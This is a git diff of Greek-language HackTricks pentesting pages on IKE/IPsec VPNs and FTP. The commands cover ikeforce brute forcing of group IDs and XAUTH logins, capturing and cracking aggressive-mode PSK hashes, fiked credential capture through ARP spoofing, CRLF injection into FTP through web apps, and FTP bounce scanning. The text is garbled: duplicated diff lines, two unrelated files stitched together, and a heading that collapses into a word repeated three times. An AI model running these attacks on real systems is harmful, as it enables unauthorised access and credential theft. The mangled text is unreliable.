### Επίθεση με Bruteforcing ID χρησιμοποιώντας το ikeforce
### Επίθεση με Brute Force στο ID με το ikeforce
Το [**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) είναι ένα εργαλείο που μπορεί να χρησιμοποιηθεί επίσης για **βίαιη εύρεση IDs**. Αυτό το εργαλείο θα **προσπαθήσει να εκμεταλλευτεί διαφορετικές ευπάθειες** που θα μπορούσαν να χρησιμοποιηθούν για **διάκριση μεταξύ ενός έγκυρου και ενός μη-έγκυρου ID** (μπορεί να υπάρχουν ψευδείς θετικοί και ψευδείς αρνητικοί, γι' αυτό προτιμώ να χρησιμοποιώ τη μέθοδο ike-scan όταν είναι δυνατόν).
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) είναι ένα εργαλείο που μπορεί να χρησιμοποιηθεί για **brute force σε IDs επίσης**. Αυτό το εργαλείο θα **προσπαθήσει να εκμεταλλευτεί διαφορετικές ευπάθειες** που θα μπορούσαν να χρησιμοποιηθούν για **να διακρίνουν μεταξύ ενός έγκυρου και ενός μη-έγκυρου ID** (μπορεί να υπάρχουν ψευδείς θετικοί και ψευδείς αρνητικοί, γι' αυτό προτιμώ να χρησιμοποιώ τη μέθοδο του ike-scan όταν είναι δυνατόν).
Από προεπιλογή, το **ikeforce** θα στείλει αρχικά μερικά τυχαία ids για να ελέγξει τη συμπεριφορά του διακομιστή και να καθορίσει την τακτική που θα χρησιμοποιήσει.
Από προεπιλογή, το **ikeforce** θα στείλει αρχικά μερικά τυχαία IDs για να ελέγξει τη συμπεριφορά του διακομιστή και να καθορίσει την τακτική που θα χρησιμοποιήσει.
* Η **πρώτη μέθοδος** είναι η βίαιη εύρεση ονομάτων ομάδων με το **ψάξιμο** των πληροφοριών **Dead Peer Detection DPD** των συστημάτων Cisco (αυτές οι πληροφορίες αναπαρίστανται μόνο από το διακομιστή εάν το όνομα της ομάδας είναι σωστό).
* Η **δεύτερη μέθοδος** που είναι διαθέσιμη ελέγχει τον αριθμό των απαντήσεων που στέλνονται σε κάθε προσπάθεια, επειδή μερικές φορές στέλνονται περισσότερα πακέτα όταν χρησιμοποιείται το σωστό id.
* Η **τρίτη μέθοδος** αποτελείται από το **ψάξιμο για "INVALID-ID-INFORMATION" στην απάντηση για εσφαλμένο ID**.
* Τέλος, εάν ο διακομιστής δεν ανταποκρίνεται σε καμία από τις ελέγχους, το **ikeforce** θα προσπαθήσει να εκμεταλλευτεί βίαια το διακομιστή και να ελέγξει αν όταν στέλνεται το σωστό id ο διακομιστής ανταποκρίνεται με κάποιο πακέτο.\
Φυσικά, ο στόχος της βίαιης εύρεσης του id είναι να αποκτήσετε το **PSK** όταν έχετε ένα έγκυρο id. Στη συνέχεια, με το **id** και το **PSK** θα πρέπει να επιχειρήσετε τη βίαιη εύρεση του XAUTH (εάν είναι ενεργοποιημένος).
* Η **πρώτη μέθοδος** είναι να κάνει brute force στα ονόματα ομάδων με το **ψάξιμο** των πληροφοριών **Dead Peer Detection DPD** των συστημάτων Cisco (αυτές οι πληροφορίες αναπαρίστανται μόνο από το διακομιστή εάν το όνομα της ομάδας είναι σωστό).
* Η **δεύτερη μέθοδος** που είναι διαθέσιμη είναι να **ελέγχει τον αριθμό των απαντήσεων που στέλνονται σε κάθε προσπάθεια** επειδή μερικές φορές στέλνονται περισσότερα πακέτα όταν χρησιμοποιείται το σωστό id.
* Η **τρίτη μέθοδος** αποτελείται από το **ψάξιμο για "INVALID-ID-INFORMATION" στην απάντηση σε λανθασμένο ID**.
* Τέλος, αν ο διακομιστής δεν ανταποκρίνεται σε καμία από τις ελέγχους, το **ikeforce** θα προσπαθήσει να κάνει brute force στο διακομιστή και να ελέγξει αν όταν στέλνεται το σωστό id ο διακομιστής ανταποκρίνεται με κάποιο πακέτο.\
Φυσικά, ο στόχος του brute forcing στο id είναι να αποκτήσετε το **PSK** όταν έχετε ένα έγκυρο id. Στη συνέχεια, με το **id** και το **PSK** θα πρέπει να κάνετε brute force στο XAUTH (εάν είναι ενεργοποιημένο).
Εάν έχετε ανακαλύψει μια συγκεκριμένη μετατροπή, προσθέστε τη στην εντολή ikeforce. Και εάν έχετε ανακαλύψει πολλαπλές μετατροπές, μη διστάσετε να προσθέσετε ένα νέο βρόχο για να τις δοκιμάσετε όλες (θα πρέπει να τις δοκιμάσετε όλες μέχρι να λειτουργήσει μία από αυτές σωστά).
Εάν έχετε ανακαλύψει μια συγκεκριμένη μετατροπή, προσθέστε τη στην εντολή του ikeforce. Και εάν έχετε ανακαλύψει πολλαπλές μετατροπές, μη διστάσετε να προσθέσετε ένα νέο βρόχο για να τις δοκιμάσετε όλες (θα πρέπει να τις δοκιμάσετε όλες μέχρι να λειτουργήσει σωστά μία από αυτές).
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
@ -167,13 +175,13 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```
### Καταγραφή ID
(Από το βιβλίο **Αξιολόγηση Ασφάλειας Δικτύου: Γνωρίστε το Δίκτυό σας**): Είναι επίσης δυνατό να αποκτηθούν έγκυρα ονόματα χρηστών με το ναρκάρισμα της σύνδεσης μεταξύ του πελάτη VPN και του διακομιστή, καθώς το πρώτο πακέτο από τη λειτουργία επιθετικού τρόπου που περιέχει το αναγνωριστικό του πελάτη στέλνεται σε μη κρυπτογραφημένη μορφή
(Από το βιβλίο **Αξιολόγηση Ασφάλειας Δικτύου: Γνωρίστε το Δίκτυό σας**): Είναι επίσης δυνατό να αποκτηθούν έγκυρα ονόματα χρηστών με το ναρκάρισμα της σύνδεσης μεταξύ του πελάτη VPN και του διακομιστή, καθώς το πρώτο πακέτο από τη λειτουργία επιθετικής λειτουργίας που περιέχει το αναγνωριστικό του πελάτη στέλνεται σε μη κρυπτογραφημένη μορφή
![](<../.gitbook/assets/image (111).png>)
## Καταγραφή & αποκωδικοποίηση του κατακερματισμένου hash
## Καταγραφή & αποκωδικοποίηση του κατακεκριμένου κατακεκριμένου κατακεκριμένου
Τέλος, Αν έχετε βρει μια **έγκυρη μετασχηματιστική** και το **όνομα ομάδας** και αν η **επιθετική λειτουργία επιτρέπεται**, τότε μπορείτε πολύ εύκολα να αποκτήσετε το κατακερματισμένο hash που μπορεί να αποκωδικοποιηθεί:
Τέλος, Αν έχετε βρει μια **έγκυρη μετασχηματιστική** και το **όνομα της ομάδας** και αν η **επιθετική λειτουργία επιτρέπεται**, τότε μπορείτε πολύ εύκολα να αποκτήσετε το κατακεκριμένο κατακεκριμένο κατακεκριμένο:
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
@ -185,36 +193,34 @@ psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
**Η Επιθετική λειτουργία IKE** σε συνδυασμό με ένα **Προκαθορισμένο Κλειδί (PSK)** χρησιμοποιείται συχνά για σκοπούς **ομαδικής πιστοποίησης**. Αυτή η μέθοδος ενισχύεται από το **XAuth (Επεκτεινόμενη Πιστοποίηση)**, το οποίο εισάγει ένα επιπλέον επίπεδο **πιστοποίησης χρήστη**. Η τέτοια πιστοποίηση συνήθως εκμεταλλεύεται υπηρεσίες όπως το **Microsoft Active Directory**, το **RADIUS**, ή συγκρίσιμα συστήματα.
**Η λειτουργία Aggressive mode IKE** σε συνδυασμό με ένα **Προκαθορισμένο Κλειδί (PSK)** χρησιμοποιείται συχνά για σκοπούς **ομαδικής πιστοποίησης**. Αυτή η μέθοδος ενισχύεται από το **XAuth (Επεκτεινόμενη Πιστοποίηση)**, το οποίο εισάγει ένα επιπλέον επίπεδο **πιστοποίησης χρήστη**. Η τέτοια πιστοποίηση συνήθως χρησιμοποιεί υπηρεσίες όπως το **Microsoft Active Directory**, το **RADIUS**, ή συγκρίσιμα συστήματα.
Με τη μετάβαση στο **IKEv2**, παρατηρείται μια σημαντική μετατόπιση όπου το **EAP (Πρωτόκολλο Επεκτεινόμενης Πιστοποίησης)** χρησιμοποιείται αντί για το **XAuth** για το σκοπό της πιστοποίησης των χρηστών. Αυτή η αλλαγή υπογραμμίζει μια εξέλιξη στις πρακτικές πιστοποίησης εντός ασφαλών πρωτοκόλλων επικοινωνίας.
Με τη μετάβαση στο **IKEv2**, παρατηρείται μια σημαντική αλλαγή όπου το **EAP (Πρωτόκολλο Επεκτεινόμενης Πιστοποίησης)** χρησιμοποιείται αντί για το **XAuth** για την πιστοποίηση των χρηστών. Αυτή η αλλαγή υπογραμμίζει μια εξέλιξη στις πρακτικές πιστοποίησης εντός ασφαλών πρωτοκόλλων επικοινωνίας.
### Επίθεση Man-in-the-Middle στο τοπικό δίκτυο για την καταγραφή διαπιστευτηρίων
Έτσι μπορείτε να καταγράψετε τα δεδομένα της σύνδεσης χρησιμοποιώντας το _fiked_ και να δείτε αν υπάρχει κάποιο προεπιλεγμένο όνομα χρήστη (Χρειάζεται να ανακατευθύνετε την κίνηση IKE στο `fiked` για το sniffing, το οποίο μπορεί να γίνει με τη βοήθεια του ARP spoofing, [περισσότερες πληροφορίες](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Το fiked θα λειτουργήσει ως ένα τέλειο σημείο VPN και θα καταγράψει τα διαπιστευτήρια XAuth:
Έτσι μπορείτε να καταγράψετε τα δεδομένα της σύνδεσης χρησιμοποιώντας το _fiked_ και να δείτε αν υπάρχει κάποιο προεπιλεγμένο όνομα χρήστη (Χρειάζεται να ανακατευθύνετε την κίνηση IKE στο `fiked` για το sniffing, που μπορεί να γίνει με τη βοήθεια του ARP spoofing, [περισσότερες πληροφορίες](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Το fiked θα λειτουργήσει ως ένα τέλειο σημείο VPN και θα καταγράψει τα διαπιστευτήρια XAuth:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
### Επίθεση MitM με χρήση IPSec και αποκλεισμός όλης της κίνησης προς τη θύρα 500
Χρησιμοποιώντας το IPSec, μπορείτε να προσπαθήσετε να εκτελέσετε μια επίθεση Man-in-the-Middle (MitM) και να αποκλείσετε όλη την κίνηση προς τη θύρα 500. Αν ο τούνελ IPSec δεν μπορεί να καθιερωθεί, ίσως η κίνηση να σταλεί με καθαρό κείμενο.
Για να εκτελέσετε μια επίθεση **MitM** χρησιμοποιώντας το **IPSec** και να αποκλείσετε όλη την κίνηση προς τη θύρα 500, εάν το τούνελ IPSec δεν μπορεί να καθιερωθεί, ίσως η κίνηση να σταλεί σε μη κρυπτογραφημένη μορφή.
### Εξαναγκαστική εύρεση ονόματος χρήστη και κωδικού XAUTH με το ikeforce
### Εξαναγκαστική εύρεση XAUTH ονόματος χρήστη και κωδικού πρόσβασης με το ikeforce
Για να εξαναγκάσετε τον κωδικό **XAUTH** (όταν γνωρίζετε ένα έγκυρο όνομα ομάδας **id** και το **psk**), μπορείτε να χρησιμοποιήσετε ένα όνομα χρήστη ή μια λίστα ονομάτων χρηστών και μια λίστα κωδικών:
Για να εξαναγκάσετε τον εντοπισμό του **XAUTH** (όταν γνωρίζετε ένα έγκυρο όνομα ομάδας **id** και το **psk**), μπορείτε να χρησιμοποιήσετε ένα όνομα χρήστη ή μια λίστα ονομάτων χρηστών και μια λίστα κωδικών πρόσβασης:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
Με αυτόν τον τρόπο, το ikeforce θα προσπαθήσει να συνδεθεί χρησιμοποιώντας κάθε συνδυασμό όνομα χρήστη:κωδικός πρόσβασης.
Εάν βρείτε έναν ή περισσότερους έγκυρους μετασχηματισμούς, χρησιμοποιήστε τους όπως στα προηγούμενα βήματα.
## Ταυτοποίηση με ένα IPSEC VPN
Στο Kali, το **VPNC** χρησιμοποιείται για τη δημιουργία τουνελ IPsec. Τα **προφίλ** πρέπει να βρίσκονται στον κατάλογο `/etc/vpnc/`. Μπορείτε να εκκινήσετε αυτά τα προφίλ χρησιμοποιώντας την εντολή _**vpnc**_.
Οι παρακάτω εντολές και ρυθμίσεις επεξηγούν τη διαδικασία δημιουργίας μιας σύνδεσης VPN με το VPNC:
Οι παρακάτω εντολές και ρυθμίσεις επεξηγούν τη διαδικασία ρύθμισης μιας σύνδεσης VPN με το VPNC:
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
@ -228,7 +234,7 @@ root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
```
Σε αυτή τη διαμόρφωση:
Σε αυτή τη ρύθμιση:
- Αντικαταστήστε το `[VPN_GATEWAY_IP]` με την πραγματική διεύθυνση IP της πύλης VPN.
- Αντικαταστήστε το `[VPN_CONNECTION_ID]` με τον αναγνωριστικό της σύνδεσης VPN.
@ -236,7 +242,7 @@ root@system:~# ifconfig tun0
- Αντικαταστήστε τα `[VPN_USERNAME]` και `[VPN_PASSWORD]` με τα διαπιστευτήρια πιστοποίησης της VPN.
- Το `[PID]` συμβολίζει το αναγνωριστικό διεργασίας που θα ανατεθεί όταν ξεκινήσει το `vpnc`.
Βεβαιωθείτε ότι χρησιμοποιούνται πραγματικές, ασφαλείς τιμές για την αντικατάσταση των χώρων όταν διαμορφώνετε τη VPN.
Βεβαιωθείτε ότι χρησιμοποιούνται πραγματικές, ασφαλείς τιμές για την αντικατάσταση των χώρων όταν ρυθμίζετε τη VPN.
## Υλικό Αναφοράς
@ -249,16 +255,22 @@ root@system:~# ifconfig tun0
* `port:500 IKE`
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ σας χάρη στην υποβολή PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Αν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [επίσημο PEASS & HackTricks swag](https://peass.creator-spring.com)
* Ανακαλύψτε [την Οικογένεια PEASS](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [NFTs](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [ομάδα Discord](https://discord.gg/hRep4RUj7f) ή στη [ομάδα τηλεγράφου](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>

View file

@ -4,7 +4,7 @@
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -12,10 +12,18 @@
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Βασικές Πληροφορίες
Το **Πρωτόκολλο Μεταφοράς Αρχείων (FTP)** λειτουργεί ως ένα πρότυπο πρωτόκολλο για τη μεταφορά αρχείων σε έναν υπολογιστικό δίκτυο μεταξύ ενός διακομιστή και ενός πελάτη.\
Είναι ένα πρωτόκολλο **κειμένου** που χρησιμοποιεί ως **χαρακτήρα νέας γραμμής `0x0d 0x0a`** οπότε μερικές φορές χρειάζεται να **συνδεθείτε χρησιμοποιώντας `telnet`** ή **`nc -C`**.
Το **Πρωτόκολλο Μεταφοράς Αρχείων (FTP)** λειτουργεί ως πρότυπο πρωτόκολλο για τη μεταφορά αρχείων σε έναν υπολογιστικό δίκτυο μεταξύ ενός διακομιστή και ενός πελάτη.\
Είναι ένα πρωτόκολλο **κειμένου** που χρησιμοποιεί ως **χαρακτήρα νέας γραμμής `0x0d 0x0a`** και γι' αυτό μερικές φορές χρειάζεται να **συνδεθείτε χρησιμοποιώντας το `telnet`** ή το **`nc -C`**.
**Προεπιλεγμένη Θύρα:** 21
```
@ -24,17 +32,17 @@ PORT STATE SERVICE
```
### Ενεργές & Παθητικές Συνδέσεις
Στο **Ενεργό FTP**, ο FTP **πελάτης** πρώτα **εκκινεί** τη σύνδεση ελέγχου από τη θύρα του N στη θύρα εντολών του FTP Διακομιστή - θύρα 21. Ο **πελάτης** στη συνέχεια **ακούει** στη θύρα **N+1** και στέλνει τη θύρα N+1 στον FTP Διακομιστή. Ο FTP **Διακομιστής** στη συνέχεια **εκκινεί** τη σύνδεση δεδομένων, από τη θύρα του M στη θύρα N+1 του FTP Πελάτη.
Στο **Ενεργό FTP**, ο FTP **πελάτης** πρώτα **εκκινεί** τη σύνδεση ελέγχου από τη θύρα N του προς τη θύρα εντολών του FTP Διακομιστή - θύρα 21. Ο **πελάτης** στη συνέχεια **ακούει** στη θύρα **N+1** και στέλνει τη θύρα N+1 στον FTP Διακομιστή. Ο FTP **Διακομιστής** στη συνέχεια **εκκινεί** τη σύνδεση δεδομένων, από **τη θύρα M του προς τη θύρα N+1** του FTP Πελάτη.
Ωστόσο, αν ο FTP Πελάτης έχει μια προστατευτική προσαρμογή που ελέγχει τις εισερχόμενες συνδέσεις δεδομένων από έξω, τότε το ενεργό FTP μπορεί να αποτελέσει πρόβλημα. Και, μια εφικτή λύση γι' αυτό είναι το Παθητικό FTP.
Ωστόσο, αν ο FTP Πελάτης έχει μια ρύθμιση του τοίχου πυρασφάλειας που ελέγχει τις εισερχόμενες συνδέσεις δεδομένων από έξω, τότε το ενεργό FTP μπορεί να αποτελέσει πρόβλημα. Και, μια εφικτή λύση γι' αυτό είναι το Παθητικό FTP.
Στο **Παθητικό FTP**, ο πελάτης εκκινεί τη σύνδεση ελέγχου από τη θύρα του N στη θύρα 21 του FTP Διακομιστή. Μετά από αυτό, ο πελάτης εκδίδει μια **εντολή passv**. Ο διακομιστής στέλνει στον πελάτη έναν από τους αριθμούς θύρας του M. Και ο **πελάτης** **εκκινεί** τη σύνδεση δεδομένων από τη θύρα του P στη θύρα M του FTP Διακομιστή.
Στο **Παθητικό FTP**, ο πελάτης εκκινεί τη σύνδεση ελέγχου από τη θύρα N προς τη θύρα 21 του FTP Διακομιστή. Μετά από αυτό, ο πελάτης εκδίδει μια **εντολή passv**. Ο διακομιστής στέλνει στον πελάτη έναν από τους αριθμούς θύρας του, Μ. Και ο **πελάτης** **εκκινεί** τη σύνδεση δεδομένων από **τη θύρα P του προς τη θύρα M** του FTP Διακομιστή.
Πηγή: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
### Αποσφαλμάτωση Σύνδεσης
Οι εντολές **`debug`** και **`trace`** του **FTP** μπορούν να χρησιμοποιηθούν για να δούμε **πώς εμφανίζεται η επικοινωνία**.
Οι **FTP** εντολές **`debug`** και **`trace`** μπορούν να χρησιμοποιηθούν για να δούμε **πώς εμφανίζεται η επικοινωνία**.
## Απαρίθμηση
@ -59,7 +67,7 @@ lftp 10.10.10.208:~> login username Password
```bash
sudo nmap -sV -p21 -sC -A 10.10.10.10
```
Μπορείτε να χρησιμοποιήσετε τις εντολές `HELP` και `FEAT` για να λάβετε κάποιες πληροφορίες για τον FTP διακομιστή:
Μπορείτε να χρησιμοποιήσετε τις εντολές `HELP` και `FEAT` για να λάβετε πληροφορίες για τον διακομιστή FTP:
```
HELP
214-The following commands are recognized (* =>'s unimplemented):
@ -109,23 +117,23 @@ ftp <IP>
>ascii #Set transmission to ascii instead of binary
>bye #exit
```
### [Χυδαιός εκφορτισμός](../../generic-methodologies-and-resources/brute-force.md#ftp)
### [Χυδαία επίθεση](../../generic-methodologies-and-resources/brute-force.md#ftp)
Εδώ μπορείτε να βρείτε μια ωραία λίστα με προεπιλεγμένα διαπιστευτήρια ftp: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
### Αυτοματοποιημένο
Ο έλεγχος ανώνυμης σύνδεσης και αναπήδησης FTP εκτελείται προεπιλεγμένα από το nmap με την επιλογή **-sC** ή:
Οι έλεγχοι ανώνυμης σύνδεσης και αναπήδησης FTP εκτελούνται προεπιλεγμένα από το nmap με την επιλογή **-sC** ή:
```bash
nmap --script ftp-* -p 21 <ip>
```
## Σύνδεση μέσω προγράμματος περιήγησης
## Σύνδεση μέσω περιηγητή
Μπορείτε να συνδεθείτε σε έναν διακομιστή FTP χρησιμοποιώντας έναν περιηγητή (όπως το Firefox) χρησιμοποιώντας ένα URL όπως:
Μπορείτε να συνδεθείτε σε έναν διακομιστή FTP χρησιμοποιώντας έναν περιηγητή (όπως ο Firefox) χρησιμοποιώντας ένα URL όπως:
```bash
ftp://anonymous:anonymous@10.10.10.98
```
Σημειώστε ότι εάν μια **εφαρμογή web** στέλνει δεδομένα που ελέγχει ο χρήστης **απευθείας σε έναν διακομιστή FTP** μπορείτε να στείλετε διπλό κωδικοποιημένο URL `%0d%0a` (σε διπλή κωδικοποίηση URL αυτό είναι `%250d%250a`) bytes και να κάνετε τον **FTP server να εκτελέσει αυθαίρετες ενέργειες**. Μία από αυτές τις πιθανές αυθαίρετες ενέργειες είναι η λήψη περιεχομένου από έναν διακομιστή που ελέγχει ο χρήστης, η πραγματοποίηση σάρωσης θυρών ή η προσπάθεια επικοινωνίας με άλλες υπηρεσίες βασισμένες σε κείμενο απλού κειμένου (όπως το http).
Σημειώστε ότι εάν μια **εφαρμογή web** στέλνει δεδομένα που ελέγχει ο χρήστης **απευθείας σε έναν διακομιστή FTP**, μπορείτε να στείλετε διπλό κωδικοποιημένο URL `%0d%0a` (σε διπλή κωδικοποίηση URL αυτό είναι `%250d%250a`) bytes και να κάνετε τον **FTP server να εκτελέσει αυθαίρετες ενέργειες**. Μία από αυτές τις πιθανές αυθαίρετες ενέργειες είναι η λήψη περιεχομένου από έναν διακομιστή που ελέγχει ο χρήστης, η πραγματοποίηση σάρωσης θυρών ή η προσπάθεια επικοινωνίας με άλλες υπηρεσίες βασισμένες σε απλό κείμενο (όπως το http).
## Λήψη όλων των αρχείων από το FTP
```bash
@ -141,14 +149,14 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
* **`USER username`**
* **`PASS password`**
* **`HELP`** Ο διακομιστής υποδεικνύει ποιες εντολές υποστηρίζονται
* \*\*`PORT 127,0,0,1,0,80`\*\*Αυτό θα υποδείξει στον FTP διακομιστή να εγκαθιδρύσει μια σύνδεση με τη διεύθυνση IP 127.0.0.1 στη θύρα 80 (_πρέπει να βάλετε τον 5ο χαρακτήρα ως "0" και τον 6ο ως τη θύρα σε δεκαδική μορφή ή να χρησιμοποιήσετε τον 5ο και 6ο για να εκφράσετε τη θύρα σε δεκαεξαδική μορφή_).
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Αυτό θα υποδείξει στον FTP διακομιστή να εγκαθιδρύσει μια σύνδεση TCP (_υποδεικνύεται από το "2"_) με τη διεύθυνση IP 127.0.0.1 στη θύρα 80. Αυτή η εντολή **υποστηρίζει IPv6**.
* \*\*`PORT 127,0,0,1,0,80`\*\*Αυτό θα υποδείξει στο διακομιστή FTP να καθιερώσει μια σύνδεση με τη διεύθυνση IP 127.0.0.1 στη θύρα 80 (_πρέπει να βάλετε τον 5ο χαρακτήρα ως "0" και τον 6ο ως τη θύρα σε δεκαδική μορφή ή να χρησιμοποιήσετε τον 5ο και 6ο για να εκφράσετε τη θύρα σε δεκαεξαδική μορφή_).
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Αυτό θα υποδείξει στο διακομιστή FTP να καθιερώσει μια σύνδεση TCP (_υποδεικνύεται από το "2"_) με τη διεύθυνση IP 127.0.0.1 στη θύρα 80. Αυτή η εντολή **υποστηρίζει IPv6**.
* **`LIST`** Αυτό θα στείλει τη λίστα των αρχείων στον τρέχοντα φάκελο
* **`LIST -R`** Λίστα αναδρομικά (εάν επιτρέπεται από τον διακομιστή)
* **`APPE /path/something.txt`** Αυτό θα υποδείξει στο FTP να αποθηκεύσει τα δεδομένα που λαμβάνει από μια **παθητική** σύνδεση ή από μια σύνδεση **PORT/EPRT** σε ένα αρχείο. Εάν το όνομα αρχείου υπάρχει, θα προσθέσει τα δεδομένα.
* **`STOR /path/something.txt`** Όπως το `APPE` αλλά θα αντικαταστήσει τα αρχεία
* **`STOU /path/something.txt`** Όπως το `APPE`, αλλά αν υπάρχει δεν θα κάνει τίποτα.
* **`RETR /path/to/file`** Πρέπει να εγκαθιδρύσετε μια παθητική ή μια σύνδεση PORT. Στη συνέχεια, ο FTP διακομιστής θα στείλει το αναφερόμενο αρχείο μέσω αυτής της σύνδεσης
* **`RETR /path/to/file`** Πρέπει να καθιερωθεί μια παθητική ή μια σύνδεση port. Στη συνέχεια, ο διακομιστής FTP θα στείλει το αναφερόμενο αρχείο μέσω αυτής της σύνδεσης
* **`REST 6`** Αυτό θα υποδείξει στο διακομιστή ότι την επόμενη φορά που θα στείλει κάτι χρησιμοποιώντας το `RETR` θα πρέπει να ξεκινήσει από τον 6ο χαρακτήρα.
* **`TYPE i`** Ορίζει τη μεταφορά σε δυαδική μορφή
* **`PASV`** Αυτό θα ανοίξει μια παθητική σύνδεση και θα υποδείξει στον χρήστη πού μπορεί να συνδεθεί
@ -158,34 +166,34 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
## Επίθεση FTPBounce
Ορισμένοι FTP διακομιστές επιτρέπουν την εντολή PORT. Αυτή η εντολή μπορεί να χρησιμοποιηθεί για να υποδείξετε στον διακομιστή ότι θέλετε να συνδεθείτε σε άλλο FTP διακομιστή σε κάποια θύρα. Έπειτα, μπορείτε να χρησιμοποιήσετε αυτό για να σαρώσετε ποιες θύρες ενός υπολογιστή είναι ανοιχτές μέσω ενός FTP διακομιστή.
Ορισμένοι διακομιστές FTP επιτρέπουν την εντολή PORT. Αυτή η εντολή μπορεί να χρησιμοποιηθεί για να υποδείξετε στο διακομιστή ότι θέλετε να συνδεθείτε σε άλλο διακομιστή FTP σε κάποια θύρα. Έπειτα, μπορείτε να χρησιμοποιήσετε αυτό για να σαρώσετε ποιες θύρες ενός υπολογιστή είναι ανοιχτές μέσω ενός διακομιστή FTP.
[**Μάθετε εδώ πώς να καταχραστείτε έναν FTP διακομιστή για να σαρώσετε θύρες.**](ftp-bounce-attack.md)
[**Μάθετε εδώ πώς να καταχραστείτε έναν διακομιστή FTP για να σαρώσετε θύρες.**](ftp-bounce-attack.md)
